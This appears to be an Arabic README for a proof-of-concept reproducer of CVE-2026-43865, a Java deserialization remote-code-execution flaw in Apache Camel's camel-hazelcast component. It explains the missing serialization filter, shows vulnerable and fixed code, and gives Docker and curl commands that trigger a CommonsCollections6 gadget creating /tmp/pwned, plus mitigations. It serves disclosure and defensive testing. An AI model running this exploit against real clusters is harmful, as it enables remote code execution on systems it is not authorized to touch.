
مُعيد إنتاج لـ CVE-2026-43865 — إلغاء تسلسل Java غير آمن (RCE) في مثيل camel-hazelcast المُهيأ افتراضيًا في Apache Camel
يُظهر هذا المشروع ثغرة إلغاء تسلسل في Java في مكوّن camel-hazelcast الخاص بـ Apache Camel، مُتتبَّعة تحت المعرف CVE-2026-43865. عندما يبني Camel كائن Config الخاص بـ Hazelcast بنفسه — أي عندما لا يتم توفير HazelcastInstance أو hazelcastConfigUri أو bean مُشار إليه من نوع Config من قِبل المستخدم — فإنه لا يطبّق أي فلتر لإلغاء تسلسل Java (لا JavaSerializationFilterConfig الخاص بـ Hazelcast ولا ObjectInputFilter من جهة Camel). لذلك، يتم إلغاء تسلسل الكائنات القادمة عبر بروتوكول عنقود Hazelcast داخل طبقة التسلسل الخاصة بـ Hazelcast (ObjectInputStream.readObject) دون أي قيود على الفئات. يمكن للمهاجم الذي يستطيع الانضمام إلى العنقود أو الوصول إليه بأي طريقة أخرى أن ينشر كائنًا مُسلسَلًا ومُعدًّا بعناية يتم إلغاء تسلسله على كل عقدة Camel — ، متاح افتراضيًا دون الحاجة إلى أي تكوين اختياري لنقطة النهاية.
التنبيه الأمني: https://camel.apache.org/security/CVE-2026-43865.html
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-hazelcast (أي مستهلك + HazelcastAggregationRepository / HazelcastIdempotentRepository) |
| الفئة المتأثرة | org.apache.camel.component.hazelcast.HazelcastDefaultComponent (إنشاء مثيل من التهيئة الافتراضية) |
| CWE | CWE-502: إلغاء تسلسل البيانات غير الموثوقة |
| الأثر | تنفيذ تعليمات برمجية عن بُعد (RCE) على كل عقدة Camel في العنقود |
| المُحفِّز | مستهلك/مستودع hazelcast يتم إنشاء مثيله المُدار من تهيئة Camel الافتراضية |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، ومن 4.15.0 قبل 4.18.3، ومن 4.19.0 قبل 4.21.0 |
| الإصدارات المُصحَّحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23414 |
| المُبلِّغ | gaorenyusi |
هذا مختلف عن التنبيهات الأمنية لمكتبة Hazelcast: CVE-2016-10750 / CVE-2022-36418 (والتي تتعلق بكود Hazelcast نفسه). هنا الخلل هو أن Camel لا يطبّق حماية إلغاء التسلسل التي توفرها Hazelcast.
عند عدم توفير مثيل/تهيئة، يقوم HazelcastDefaultComponent ببناء المثيل من التهيئة الافتراضية ولا يضبط أي فلتر تسلسل:
// HazelcastDefaultComponent - affected 4.18.2
if (hazelcastInstance == null && config == null) {
config = new XmlConfigBuilder().build();
config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
hzInstance = Hazelcast.newHazelcastInstance(config); // no JavaSerializationFilterConfig
}
يُدرج الإصلاح فلترًا افتراضيًا (قائمة بيضاء java./javax./org.apache.camel.، وقائمة سوداء java.net.) على المثيلات التي ينشئها Camel بنفسه، مع ترك Config/HazelcastInstance المقدَّم من المستخدم دون تغيير:
// fixed 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config); // <-- added
hzInstance = Hazelcast.newHazelcastInstance(config);
أي بنية تُسلِّم الكائن الذي تم إلغاء تسلسله إلى Camel تُفعِّل الثغرة. يستخدم هذا الإثبات (PoC) مستهلك قائمة انتظار في وضع الاستطلاع (Poll)، حيث يقوم IQueue.poll() بإلغاء تسلسل عنصر الرأس قبل أن يوجّهه Camel عبر المسار:
// HazelcastQueueConsumer (Poll mode) - affected
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS); // readObject, no filter
exchange.getIn().setBody(body);
from("hazelcast-queue:cve?queueConsumerMode=Poll") // Camel builds the default (unfiltered) instance
.log("Consumed: ${body.class.name}");
الضحية هي عقدة Camel (عضو في Hazelcast). المهاجم هو أي طرف يمكنه الوصول إلى العنقود. يُشغِّل هذا الإثبات (PoC) المستقل بذاته عميل Hazelcast (المهاجم) ينضم إلى نفس العنقود أحادي العضو (dev على 127.0.0.1:5701) ويعرض أداة (gadget) على قائمة الانتظار التي يستهلكها الضحية.
CVE-2026-43865/
├── pom.xml # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens for gadget build; loopback cluster address)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: hazelcast-queue consumer (default instance)
│ ├── Gadget.java # CommonsCollections6 gadget, fires during Hazelcast deserialization
│ └── ExploitController.java # attacker: Hazelcast client offers the gadget to the queue
└── resources/
└── application.properties
في هجوم حقيقي، يتم إنتاج البايتات المُسلسَلة بواسطة عميل/عضو Hazelcast الخاص بالمهاجم؛ فقط الضحية تحتاج إلى سلسلة الأدوات (gadget chain) على مسار الفئات (classpath). يبني هذا الإثبات (PoC) الأداة (gadget) داخل العملية نفسها، ولهذا تعمل JVM مع
--add-opens java.base/java.util=ALL-UNNAMED— وهو تفصيل يتعلق ببناء الأداة، ولا علاقة له بالثغرة.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Offered gadget to hazelcast queue 'cve' as a cluster client.
# The Camel node's queue.poll() deserialized it via Hazelcast (no filter).
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43865 ls -la /tmp/pwned
docker compose down
أي مسار Camel يستخدم مستهلك hazelcast (hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set)، أو HazelcastAggregationRepository / HazelcastIdempotentRepository، كلما تم إنشاء المثيل المُدار من التهيئة الافتراضية لـ Camel وتمكن المهاجم من الوصول إلى العنقود.
HazelcastInstance / hazelcastConfigUri / bean من نوع Config من قِبل المستخدم).commons-collections:3.2.1).قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414)، والتي تطبّق JavaSerializationFilterConfig افتراضيًا من Hazelcast على المثيلات التي ينشئها Camel من تهيئته الافتراضية.
إلى حين الترقية:
JavaSerializationFilterConfig، أو -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!* على مستوى JVM بالكامل).تم توفير أداة إعادة الإنتاج هذه للبحث الأمني والاختبار المصرَّح به فقط، لثغرة مُعلَن عنها ومُصحَّحة بشكل عام. لا تستخدمها ضد أنظمة دون إذن صريح.